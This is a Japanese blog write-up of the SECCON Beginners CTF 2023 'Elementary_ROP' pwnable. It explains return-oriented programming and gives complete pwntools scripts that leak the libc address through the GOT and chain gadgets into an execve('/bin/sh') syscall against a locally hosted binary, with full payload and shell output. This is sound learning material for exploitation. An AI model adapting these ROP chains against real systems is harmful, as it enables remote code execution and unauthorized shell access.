LoginSignup
2
1

SECCON beginners ctf 2023でReturn-Oriented Programming(ROP)

Last updated at Posted at 2023-07-17

まえがき

 6月の3日4日に開催された、SECCON Beginners CTF 2023に参加しました。その後、復習しています。今回は、その中でもpwnableのElementary_ROPを題材にReturn-Oriented Programmingについて勉強したので備忘録として投稿しようと思います。これをやっていた頃にはSecconのサーバーは閉じてしまっていて、かつ、配られた実行ファイルはライブラリのバージョンの関係で自分の環境下では実行できないため、配られたソースコードを自前でgccして使用しています。なにか間違いなどありましたらご指摘いただけると幸いです。

問題について

 問題は、前述したとおりSECCON Beginners CTF 2023にて出題された、pwnableのElementary_ROPです。配られたファイルには、challという実行ファイルとそのソースコードである src.c が入っていました。こちらも前述のとおり、実行ファイルchallは自分でgccしたのものです。

$ gcc src.c -fno-stack-protector -no-pie -o chall

checksecコマンドでは以下のようになります。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

コマンドの結果から分かるようにcanaryが無く、またアドレスも固定になっています。
そして、ソースコードを見ると以下のようになります。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>

void gadget() {
    asm("pop %rdi; ret");
}

int main() {
    char buf[0x20];
    printf("content: ");
    gets(buf);
    return 0;
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

中身を見ていくと、入力を1回受け取るだけのプログラムとなっています。また、入力の受け付ける関数が、

gets(buf)

となっていて、canary も無いことからスタックパッファオーバーフローの脆弱性があることがわかります。関数で ROP の gadget を用意してくれていたりと、問題としては、ROPを用いることで、/bin/sh を起動させflagを手に入れることになります。

Return-Oriented Programming(ROP)とは

 Return-Oriented Programmingとは、スタックバッファオーバーフローなどの脆弱性があるプログラムに対して、ret命令でpopされるスタックの値を、ret命令を含む命令片のアドレスに書き変えることで、任意のコードを実行する手法のことです。このアドレスの書き換えは、書き換えることで遷移を移した先のコードのret命令でpopされるスタックの値を書き換えておくことで、任意のコードを連続して実行させることができます。単に、ret命令でpopされるアドレスを書き換えるのとは異なり、pop rdi; retなどの命令片を使用することで関数の引数の設定などもできます。

gadget について

 以下のようなROPで使われる命令片をgadgetと呼びます。

      pop     rdi
      ret

 pop命令のある箇所を使う理由は、スタックから値を代入するため、スタックに値を書き込む私達にとって、簡単に間接的にレジスタの値を書き換えることができるからです。
 ところで、上の pop rdi ; ret という命令片は、機械語だと、5f c3 に相当します。また、pop r15; ret という命令片は機械語だと、 41 5f c3 に相当します。ということは、仮に逆アセンブルした結果の中に、

  401252:       41 5f                   pop    r15
  401254:       c3                      ret

というものが含まれていた場合、アドレス0x401253を

  401253:       5f                      pop     rdi
  401254        c3                      ret

といった形の gadget として利用することができます。こうした gadget 探すことに関しては ROPgadget というコマンドが配布されており、それを使うと簡単に見つけることができます。

簡単なROPの例

ROPのできる簡単なソースコードを用意しました。コードは以下のようになります。

#include<stdio.h>

int main()
{
    setbuf(stdout,NULL);

    char buf[0x10];
    gets(buf);
    return 0;
}

void win(int arg)
{
    if(arg == 2023)
    {
        puts("You got the flag!");
    }
    else
    {
        puts("Wrong..");
    }
}

これを、以下のように gcc します。

$ gcc src.c -fno-stack-protector -no-pie -o chall

ソースコードの解説としては、16byte 確保した buf に対して gets関数で書き込みを行います。gets関数は文字数の指定がないためバッファオーバーフローを起こします。また、win関数が設置されており、第一引数に2023を渡しているときだけ flag を手に入れることができます。
 目標は、main関数を抜けたあとのリターンのアドレスを書き換え、rdiを2023に設定することで flag を入手することです。そのためには、スタックが以下になるように書き込む必要があります。

# 1段 8byte
 +-------------+---------------------------+ <- rsp
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | saved rbp   | 適当な値                   |
 +-------------+---------------------------+
 | return addr | pop rdi; ret のアドレス     |
 +-------------+---------------------------+ <- rbp
 |             | 2023                      | 
 +-------------+---------------------------+
 |             | win関数のアドレス            | 
 +-------------+---------------------------+

簡単な解説としては、main関数を抜けたあと pop rdi; ret の gadget に処理が遷移します。そして、pop rdi で2023が pop されて rdi に代入され、その後 ret命令で win関数に処理が遷移します。
 これをpythonでスクリプトを書きました。

#!/usr/bin/env python3
import pwn

pwn.context.arch = 'x86-64'

elf = pwn.ELF('./chall')
io = pwn.remote('localhost',4000)

addr_rop_pop_rdi_ret = 0x0000000000401253 #ROPgadgetコマンドで探した値

addr_win = elf.symbols['win']
addr_win_without_push = addr_win + 5 #関数呼び出し時の16バイトアライメント調整

payload = pwn.flat(
    b'\x00' * (0x18),
    pwn.pack(addr_rop_pop_rdi_ret),
    
    pwn.pack(2023),
    pwn.pack(addr_win_without_push),
    
    b'\x0a' #gets関数は改行文字が来ると読み込むのをやめる
)

io.send(payload)

recv = io.recvrepeat(0.5)
print(recv)

これを先程のソースコードをgccした実行ファイルchallを、以下のように socatコマンドを用いて4000番ポートにサーバーを開いて、

$ socat TCP-L:4000,reuseaddr,fork EXEC:./chall

pythonスクリプトを実行すると、以下のように flag を入手できました。

[+] Opening connection to localhost on port 4000: Done
b'You got the flag!\n'
[*] Closed connection to localhost port 4000

execve関数について

 

 ROPの大雑把な解説はさておき、前述の通り、今回のSECCON beginners ctf 2023の問題では /bin/sh を立ち上げることが目標になります。それためには、syscall にてexecve関数を呼び出す必要があります。この関数は

#include <unistd.h>
int execve(const char *pathname, char *const _Nullable argv[],
                  char *const _Nullable envp[]);

このような形となっており、/bin/shを立ち上げる場合には、第一引数に/bin/shの文字列の先頭ポインタを、そして第二、第三引数は0を渡します。また、アーキテクチャがx86-64なので、syscallの番号は59になります。アーキテクチャが違う場合はその都度、syscallの番号や、引数の渡し方について変える必要があります。今回のROPでは

  • 適当な領域 (今回は .data 領域) に /bin/sh という文字列を書き込む
  • 書き込んだアドレスをrdiに代入する
  • rsiに0を代入する
  • rdxに0を代入する
  • raxに59を代入する
  • syscall関数を使う

という操作をすることでシェルを起動させることができます。

問題を解く上で必要な情報について

 上記の操作をするためには以下の情報が必要になります。

  • 今回使用するret命令を含んだ命令片のアドレス
  • /bin/shを書き込むための適当な領域のアドレス
  • pritnf関数 gets関数など使用する関数のアドレス
以下で、それぞれについて解説します。

今回使用するret命令を含んだ命令片のアドレス

 こちらは、プログラムを逆アセンブルしたコードから探してもいいのですが、ROPgadgetというコマンドがあるのでそちらを使うと便利です。これを使ってみると、

Gadgets information
============================================================
0x00000000004010dd : add ah, dh ; nop ; endbr64 ; ret
0x000000000040110b : add bh, bh ; loopne 0x401175 ; nop ; ret
0x000000000040129c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x00000000004011d2 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004011d3 : add byte ptr [rax], al ; add cl, cl ; ret
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040117a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040129e : add byte ptr [rax], al ; endbr64 ; ret
0x00000000004010dc : add byte ptr [rax], al ; hlt ; nop ; endbr64 ; ret
0x00000000004011d4 : add byte ptr [rax], al ; leave ; ret
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040117b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401179 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004011d5 : add cl, cl ; ret
0x000000000040110a : add dil, dil ; loopne 0x401175 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040117c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401177 : add eax, 0x2eeb ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401225 : call qword ptr [rax + 0x1f0fc35d]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401193 : cli ; jmp 0x401120
0x0000000000401199 : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004010e3 : cli ; ret
0x00000000004012ab : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401190 : endbr64 ; jmp 0x401120
0x0000000000401196 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004010e0 : endbr64 ; ret
0x000000000040127c : fisttp word ptr [rax - 0x7d] ; ret
0x00000000004010de : hlt ; nop ; endbr64 ; ret
0x000000000040119d : in eax, 0x5f ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x0000000000401105 : je 0x401110 ; mov edi, 0x404048 ; jmp rax
0x0000000000401147 : je 0x401150 ; mov edi, 0x404048 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401194 : jmp 0x401120
0x0000000000401178 : jmp 0x4011a8
0x000000000040100b : jmp 0x4840103f
0x000000000040110c : jmp rax
0x00000000004011d6 : leave ; ret
0x000000000040110d : loopne 0x401175 ; nop ; ret
0x0000000000401176 : mov byte ptr [rip + 0x2eeb], 1 ; pop rbp ; ret
0x00000000004011d1 : mov eax, 0 ; leave ; ret
0x000000000040119c : mov ebp, esp ; pop rdi ; ret
0x0000000000401107 : mov edi, 0x404048 ; jmp rax
0x000000000040119b : mov rbp, rsp ; pop rdi ; ret
0x00000000004010df : nop ; endbr64 ; ret
0x00000000004011a0 : nop ; pop rbp ; ret
0x000000000040110f : nop ; ret
0x000000000040118c : nop dword ptr [rax] ; endbr64 ; jmp 0x401120
0x0000000000401106 : or dword ptr [rdi + 0x404048], edi ; jmp rax
0x000000000040128c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040128e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401290 : pop r14 ; pop r15 ; ret
0x0000000000401292 : pop r15 ; ret
0x000000000040128b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040128f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040117d : pop rbp ; ret
0x000000000040119e : pop rdi ; ret
0x0000000000401291 : pop rsi ; pop r15 ; ret
0x000000000040128d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040119a : push rbp ; mov rbp, rsp ; pop rdi ; ret
0x000000000040101a : ret
0x0000000000401239 : retf
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040105b : sar edi, 0xff ; call qword ptr [rax - 0x5e1f00d]
0x00000000004012ad : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004012ac : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x0000000000401103 : test eax, eax ; je 0x401110 ; mov edi, 0x404048 ; jmp rax
0x0000000000401145 : test eax, eax ; je 0x401150 ; mov edi, 0x404048 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax

Unique gadgets found: 74

となり、必要分だけを抜粋すると

#0x000000000040119e : pop rdi ; ret
#0x000000000040119b : mov rbp, rsp ; pop rdi ; ret

を得ることができましたが、今回の実行ファイル chall からは、

  • pop rdx; ret
  • pop rax; ret
  • syscall
は見つかりません。

 それはそうと、この実行ファイル chall は実行されるときにこのコード単体で動いているわけではありません。今回は標準Cライブラリが一緒にメモリに配置されて実行されます。なので、その中から gadget を探して行くことができます。自分の環境の場合、/usr/lib/x86_64-linux-gnu/libc-2.31.so が配置されており、それを調べると以下の情報を得ることができました。(量が多いので必要部分のみ抜粋)

# 117c2f:       0f 05                   syscall 
# 117c31:       c3                      ret

#0x000000000002601f : pop rsi ; ret
#0x0000000000142c92 : pop rdx ; ret
#0x0000000000036174 : pop rax ; ret

この libc-2.31.so は、challが固定のアドレスであってもアドレスは固定ではありません。なので、上のアドレスは相対アドレスになります。そのため、問題を解く上ではこの libc-2.31.so の配置されているアドレスを求める必要があります。
 これは、chall の .got 領域に格納されています。正確には、IDAを用いて調べてみると以下のようになっており、

.got:0000000000403FF0 ; ===========================================================================
.got:0000000000403FF0
.got:0000000000403FF0 ; Segment type: Pure data
.got:0000000000403FF0 ; Segment permissions: Read/Write
.got:0000000000403FF0 _got            segment qword public 'DATA' use64
.got:0000000000403FF0                 assume cs:_got
.got:0000000000403FF0                 ;org 403FF0h
.got:0000000000403FF0 __libc_start_main_ptr dq offset __libc_start_main
.got:0000000000403FF0                                         ; DATA XREF: _start+28↑r
.got:0000000000403FF8 __gmon_start___ptr dq offset __gmon_start__
.got:0000000000403FF8                                         ; DATA XREF: _init_proc+8↑r
.got:0000000000403FF8 _got            ends
.got:0000000000403FF8

libc-2.31.so の __libc_start_main 関数のアドレスが、0x403ff0 に格納されていることがわかります。したがってその値を ROP を用いて rdi に0x403ff0を代入し printf関数に処理を遷移させることで、アドレスを見ることができます。そうすると、__libc_start_main 関数とlibc-2.31.so 先頭アドレスは一定なので、libc-2.31.so の配置されているアドレスが分かり、先程調べた gadget の相対アドレスと合わせて用いることで、それぞれの gadget のアドレスを割り出すことができます。

/bin/shを書き込むための適当な領域のアドレス

 今回は、書き込むためのアドレスとして .data 領域を使用します。これは、読み書きができればどこでも大丈夫です。今回は、そのアドレスを 0x404039 としました。

pritnf関数 gets関数など使用する関数のアドレス

 ROPではprintfなどの関数は、実行ファイル chall の中の .plt 領域から間接的に呼び出すことができます。chall を逆アセンブルした中を探すと(必要部分抜粋)

Disassembly of section .plt.sec:

0000000000401070 <printf@plt>:
  401070:	f3 0f 1e fa          	endbr64 
  401074:	f2 ff 25 9d 2f 00 00 	bnd jmp QWORD PTR [rip+0x2f9d]        # 404018 <printf@GLIBC_2.2.5>
  40107b:	0f 1f 44 00 00       	nop    DWORD PTR [rax+rax*1+0x0]

0000000000401090 <gets@plt>:
  401090:	f3 0f 1e fa          	endbr64 
  401094:	f2 ff 25 8d 2f 00 00 	bnd jmp QWORD PTR [rip+0x2f8d]        # 404028 <gets@GLIBC_2.2.5>
  40109b:	0f 1f 44 00 00       	nop    DWORD PTR [rax+rax*1+0x0]

を見るけることができ、printf関数だとアドレス0x401074に処理を遷移させることでprintf関数を呼び出すことができます。

問題の解法

 以上の情報をもとに問題を解いていきます。実際の流れとしては、

  • 最初の入力で、libc-2.31.so 内の__libc_start_main 関数のアドレスが格納されているアドレス0x403ff0 の中身が printf関数で表示されるように ROP を組み、libc-2.31.so の配置アドレスを割り出す。かつ、ROPの最後にmain関数に戻ってくるようにし、もう一度入力できるようにする。
  • 2回目の入力で、.data 領域の読み書き用のアドレス 0x404039 に gets関数で入力したあと、各引数を設定して syscall命令をするように ROP を組む。
  • gets関数で入力を求められるので、/bin/sh を入力する。
という感じになります。それぞれの入力については以下になります。

1回目の入力について

 libc-2.31.so 内の__libc_start_main 関数のアドレスが格納されているアドレス0x403ff0 の中身が printf関数で表示され、かつ、ROPの最後にmain関数に戻ってくるようにするためには、以下のようにスタックを書き換える必要があります。

# 1段 8byte
 +-------------+---------------------------+ 
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | saved rbp   | 適当な値                   |
 +-------------+---------------------------+
 | return addr | pop rdi; ret のアドレス     |
 +-------------+---------------------------+ 
 |             |__libc_start_main 関数のアドレスが格納されている .got 領域のアドレス 
 +-------------+---------------------------+ 
 |             | ret;のアドレス              | #printf関数を呼び出したときの16byteアラインメントの調節のためにret命令だけのアドレス
 +-------------+---------------------------+
 |             | printf関数のアドレス        |  
 +-------------+---------------------------+
 |             | main関数のアドレス          | #16byteアラインメントの調節のため、push rbpの次の命令のアドレス
 +-------------+---------------------------+

このようになるように1回目の入力のためのペイロードを組み入力すると、libc-2.31.so の配置アドレスを割り出すことができます。

2回目の入力について

 次に、.data 領域の読み書き用のアドレス 0x404039 に gets関数で入力したあと、各引数を設定して syscall命令をするようにするためには、以下のようになるようスタックを書き換える必要があります。

# 1段 8byte
 +-------------+---------------------------+ 
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | buf         | 適当な値                   |
 +-------------+---------------------------+-
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | buf         | 適当な値                   |
 +-------------+---------------------------+-
 | saved rbp   | 適当な値                   |
 +-------------+---------------------------+
 | return addr | pop rdi; ret のアドレス     |
 +-------------+---------------------------+-
 |             | .data 領域の読み書き用のアドレス
 +-------------+---------------------------+ 
 |             | ret;のアドレス              | #gets関数を呼び出したときの16byteアラインメントの調節のためにret命令だけのアドレス
 +-------------+---------------------------+-
 |             | gets関数のアドレス          |  
 +-------------+---------------------------+
 |             | pop rdi; ret のアドレス     | 
 +-------------+---------------------------+-
 |             | .data 領域の読み書き用のアドレス                          
 +-------------+---------------------------+
 |             | pop rsi; ret のアドレス     | 
 +-------------+---------------------------+-
 |             | 0                         | #execve関数の第2引数の値
 +-------------+---------------------------+
 |             | pop rdx; ret のアドレス     | 
 +-------------+---------------------------+-
 |             | 0                         | #execve関数の第3引数の値
 +-------------+---------------------------+
 |             | pop rax; ret のアドレス     | 
 +-------------+---------------------------+-
 |             | 59                        | #execve関数のsyscall番号 
 +-------------+---------------------------+
 |             | syscall のアドレス          | 
 +-------------+---------------------------+

このようになるように、ペイロードを組み入力すると、get関数のところで入力を求められるので、/bin/sh を入力すると、その後の syscall命令で/bin/sh が起動します。

今回作成したスクリプト(Python)

以上を踏まえて作成したスクリプトが以下になります。上部にいろいろ情報をメモしてあります

#!/usr/bin/env python3
import pwn

host = 'localhost'
port = 4000
pwn.context.arch='x86-64'
bin = './chall'

#syscall 59 (x86-64)
#include <unistd.h>
#    int execve(const char *pathname, char *const _Nullable argv[],
#               char *const _Nullable envp[]);

#=============Data from ida64==============================
#.got:0000000000403FF0 __libc_start_main_ptr dq offset __libc_start_main
got_offset_libc_start_main = 0x403ff0

#addr in .data
addr_to_write = 0x404039 

#=============Data from ROPgadget.txt======================
#0x000000000040119e : pop rdi ; ret
addr_rop_pop_rdi_ret = 0x000000000040119e

#0x000000000040101a : ret
addr_rop_ret = 0x000000000040101a

#=============Data from libc_dump.txt======================
# 117c2f:       0f 05                   syscall 
# 117c31:       c3                      ret 
rel_addr_syscall_ret = 0x117c2f

#0x000000000002601f : pop rsi ; ret
rel_addr_rop_pop_rsi_ret = 0x000000000002601f

#0x0000000000142c92 : pop rdx ; ret
rel_addr_rop_pop_rdx_ret = 0x0000000000142c92

#0x0000000000036174 : pop rax ; ret
rel_addr_rop_pop_rax_ret = 0x0000000000036174

#0000000000023f90 <__libc_start_main@@GLIBC_2.2.5>:
rel_libc_start_main = 0x0000000000023f90

def exploit():
    
    io = pwn.remote(host,port)
    
    elf = pwn.ELF(bin)
    
    addr_main = elf.symbols['main']
    addr_main_without_push_rbp = addr_main + 0x5
    addr_printf = elf.plt['printf']
    addr_gets = elf.plt['gets']
    
    print('=========================First Payload================================')
    payload = pwn.flat(
        b'\x00' * (0x20),                                           
        
        pwn.pack(0),                                 
        pwn.pack(addr_rop_pop_rdi_ret),              
        
        pwn.pack(got_offset_libc_start_main),        
        pwn.pack(addr_rop_ret),#関数呼出の16byteアラインメント調整                    
        
        pwn.pack(addr_printf),                       
        pwn.pack(addr_main_without_push_rbp),

        b'\x0a'
    )
    
    print(f'payload = {payload}')
    io.send(payload)
    
    recv = io.recvrepeat(0.5)
    print(f'recv = {recv}')
    
    recv_addr_libc_start_main = recv[9:15]
    print(f'recv addr __libc_start_main = {recv_addr_libc_start_main}')
    addr_libc_start_main = pwn.unpack(recv_addr_libc_start_main,word_size='48')
    addr_libc_base = addr_libc_start_main - rel_libc_start_main
    
    
    print('=========================Second Payload================================')
    
    #   mov     rdi ,   offset  ;/bin/bash
    #   mov     rsi ,   0       ;
    #   mov     rdx ,   0       ;
    #   mov     rax ,   59      ;syscall(execve)
    #   syscall
    
    payload = pwn.flat(
        b'\x00' * (0x28),      
        pwn.pack(addr_rop_pop_rdi_ret),
        
        pwn.pack(addr_to_write),
        pwn.pack(addr_rop_ret),#関数呼出の16byteアラインメント調整
        
        pwn.pack(addr_gets),
        pwn.pack(addr_rop_pop_rdi_ret),
        
        pwn.pack(addr_to_write),
        pwn.pack(rel_addr_rop_pop_rsi_ret+addr_libc_base),
        
        pwn.pack(0),
        pwn.pack(rel_addr_rop_pop_rdx_ret+addr_libc_base),
        
        pwn.pack(0),
        pwn.pack(rel_addr_rop_pop_rax_ret+addr_libc_base),
        
        pwn.pack(59),
        pwn.pack(rel_addr_syscall_ret+addr_libc_base),
        
        b'\x0a'
    )
    
    print(f'payload = {payload}')
    io.send(payload)
    
    recv = io.recvrepeat(0.5)
    
    msg = pwn.flat(
        b'/bin/sh',
        b'\x0a'    
    )
    
    io.send(msg)
    
    recv = io.recvrepeat(0.5)
    
    print('====================INFORMATION===============================================')
    
    print(f'addr main = {hex(addr_main)}')
    print(f'addr main without (push rbp) = {hex(addr_main_without_push_rbp)}')
    
    print(f'addr to write = {hex(addr_to_write)}')
    
    print(f'addr __libc_start_main = {hex(addr_libc_start_main)}')
    print(f'addr libc-2.31.so = {hex(addr_libc_base)}')
    
    print(f'addr printf = {hex(addr_printf)}')
    print(f'addr_gets = {hex(addr_gets)}')
    
    
    print('==============================================================================')
    io.interactive() #/bin/shが起動するので操作できるよにする
    
    
if __name__=='__main__':
    exploit()

これを、以下の2つのファイルを配置したディレクトリで

chall
flag.txt

以下のsocatコマンドでサーバーを開いておき

$ socat TCP-L:4000,reuseaddr,fork EXEC:./chall

スクリプトを実行すると以下の出力が得られ、/bin/shを奪取できており、flag.txtの内容を見ることができました。

[+] Opening connection to localhost on port 4000: Done
=========================First Payload================================
payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9e\x11@\x00\x00\x00\x00\x00\xf0?@\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00t\x10@\x00\x00\x00\x00\x00\xa8\x11@\x00\x00\x00\x00\x00\n'
recv = b'content: \x90_=\xe0\xf0\x7fcontent: '
recv addr __libc_start_main = b'\x90_=\xe0\xf0\x7f'
=========================Second Payload================================
payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9e\x11@\x00\x00\x00\x00\x009@@\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\x94\x10@\x00\x00\x00\x00\x00\x9e\x11@\x00\x00\x00\x00\x009@@\x00\x00\x00\x00\x00\x1f\x80=\xe0\xf0\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x92LO\xe0\xf0\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00t\x81>\xe0\xf0\x7f\x00\x00;\x00\x00\x00\x00\x00\x00\x00/\x9cL\xe0\xf0\x7f\x00\x00\n'
====================INFORMATION===============================================
addr main = 0x4011a3
addr main without (push rbp) = 0x4011a8
addr to write = 0x404039
addr __libc_start_main = 0x7ff0e03d5f90
addr libc-2.31.so = 0x7ff0e03b2000
addr printf = 0x401074
addr_gets = 0x401094
==============================================================================
[*] Switching to interactive mode
$ ls
chall
flag.txt
$ cat flag.txt
flag{This_is_flag!}$ exit
[*] Got EOF while reading in interactive
$ 
$ 
[*] Closed connection to localhost port 4000
[*] Got EOF while sending in interactive
2
1
1

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1